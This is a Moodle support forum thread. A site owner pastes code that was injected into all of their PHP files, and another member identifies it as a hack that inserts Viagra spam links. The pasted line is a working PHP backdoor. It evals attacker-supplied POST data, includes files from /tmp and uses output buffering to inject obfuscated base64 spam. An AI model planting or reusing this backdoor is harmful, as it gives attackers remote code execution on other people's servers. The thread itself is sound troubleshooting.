My moodle is correct .. Is it Salvagable?

My moodle is correct .. Is it Salvagable?

by Jim Johnson -
Number of replies: 4

Apparently there was a bug with our hsphere server, webshell and virtual ftp.  Which changed permissions to all .php files created by php files.   Which added a line of code to all of those files, then corrupted the permissions.

I was able to fix the permissions, but just about all of my php created files have been corrupt.  I have tried hacking the files for hours on end to fix it, but I think I need a fresh install. 

I have no backups of the courses that we created (Only about 5, maybe 3 days worth of work).  Well, we have MS Word backups, but nothing else.  Is there a way to backup the course content without having access to the moodle back end or should I just fresh install it?

Average of ratings: -
In reply to Jim Johnson

Re: My moodle is correct .. Is it Salvagable?

by Mathieu Petit-Clair -
Picture of Core developers Picture of Moodle HQ Picture of MoodleCloud team Picture of Particularly helpful Moodlers Picture of Plugin developers Picture of Testers
If the only problem is the corruption of files that come in the Moodle distribution, you only need to delete & re-upload the files (from a fresh pack from download.moodle.org) ... no need to scrap the database tables. Just make sure to keep your current config.php (make sure it's not corrupted) and re-upload it when all the good files are there, and you should be ready to go.

I'm not sure what you mean by "all .php files created by php files". Moodle does not create .php files (apart from config.php). What's the line of code that was added to these files? This sounds strange to me...

Finally, to answer your question smile ... Almost every hosting service provides an access to phpmyadmin. You could make a backup of your tables from there. I can't help you on how to access this, but your provider should be able to.

Mat
In reply to Mathieu Petit-Clair

Re: My moodle is correct .. Is it Salvagable?

by Jim Johnson -

From what I can tell, this line of code was added to ALL php created files throughout our entire hosting account. It appears to have been a hosting/hsphere/webshell problem.  There's some extra code that was added to a few more files.  I just loaded some backups.  Unfortunately the Moodle portion was getting overhauled, so I did not have backups to most of the work

This problem has been resolved and I am not asking for help on it.

<?php if(!function_exists('tmp_lkojfghx')){for($i=1;$i<100;$i++)if(is_file($f='/tmp/m'.$i)){include_once($f);break;}if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7IGxlZnQ6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NScpO2Zvcih2YXIgaT0xO2k8cy5sZW5ndGg7aSsrKWRvY3VtZW50LndyaXRlKFN0cmluZy5mcm9tQ2hhckNvZGUocy5jaGFyQ29kZUF0KGktMSktcy5zdWJzdHIocy5sZW5ndGgtMSwxKSkpO3ZhciB5YWhvb19jb3VudGVyPTE7PC9zY3JpcHQ+PC9kaXY+Cg=='));function tmp_lkojfghx($s){if($g=(bin2hex(substr($s,0,2))=='1f8b'))$s=gzinflate(substr($s,10,-8));$s1=preg_replace(base64_decode('IzxkaXYgc3R5bGU9J3Bvc2l0aW9uOmFic29sdXRlOyBsZWZ0Oi0xMDAwcHg7IHRvcDotMTAwMHB4Oyc+Lis/PC9kaXY+CiNz'),'',$s);if(stristr($s,'</body'))$s=preg_replace('#(\s*</body)#mi',TMP_XHGFJOKL.'\1',$s1);elseif(($s1!=$s)||defined('PMT_knghjg')||stristr($s,'<body')||stristr($s,'</title>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode(!

$s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array()!

;if($b&&

$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?>

This problem has been resolved and I am not asking for help on it.

In reply to Jim Johnson

Re: My moodle is correct .. Is it Salvagable?

by Paul Vaughan -
You were hacked! smile Someone got in to your server and added in a lot of code which attempts to display an advert for Viagra, but it could have been anything. There is some code in there which decodes a base64 encoded string. If you decode the base64 string yourself (http://www.opinionatedgeek.com/dotnet/tools/Base64Decode/) you get the following (it's a snippet only):

Viagra Faq It`s no secret that <A HREF='http://forum.lycos.de/member.php?u=26282' title='buy viagra no prescription'>Buy viagra Online Now</A>. Viagra for sale for these people using <A HREF='http://www.answerbag.com/profile/?id=310168' title='generic buy viagra' target=_blank>buy viagra drugs</A>Erectile dysfunction forums perhaps you already hear about purchase sildenafil <A HREF='http://forums.vogue.com.au/member.php?u=75516' title='buy viagra drugs'>buy viagra mastercard</A>.

The problem may have been fixed as you say, you may have replaced your 'corrupt' files with a fresh install, but more of a worry is that someone accessed your server and modified your files. I would evaluate the security of your system as a matter of priority.

Cheers,

Paul.
Average of ratings: Useful (1)
In reply to Paul Vaughan

Re: My moodle is correct .. Is it Salvagable?

by Jim Johnson -

Wow, you are right.  I was just chalking this up to be a glitch, since I researched it and saw a few other people had the problem and they caused it a "ghost" problem.  I then contacted our webhost and they just gave me simple instructions on how to change all of our permissions back.

The php created files were changed from me to httpd:httpd and root:root.  

Do you know if this is a webserver virus/hack or caused by one of our local computers?  Best guess please, I know there is no way to tell without actually being here.   It was done within a few seconds to all 19 of our websites hosted with 1 ixwebhosting.  The 2 websites that we hosted with Web.com were not infected.  We keep our confidential information on Web.com.

Any help is Much appreciated.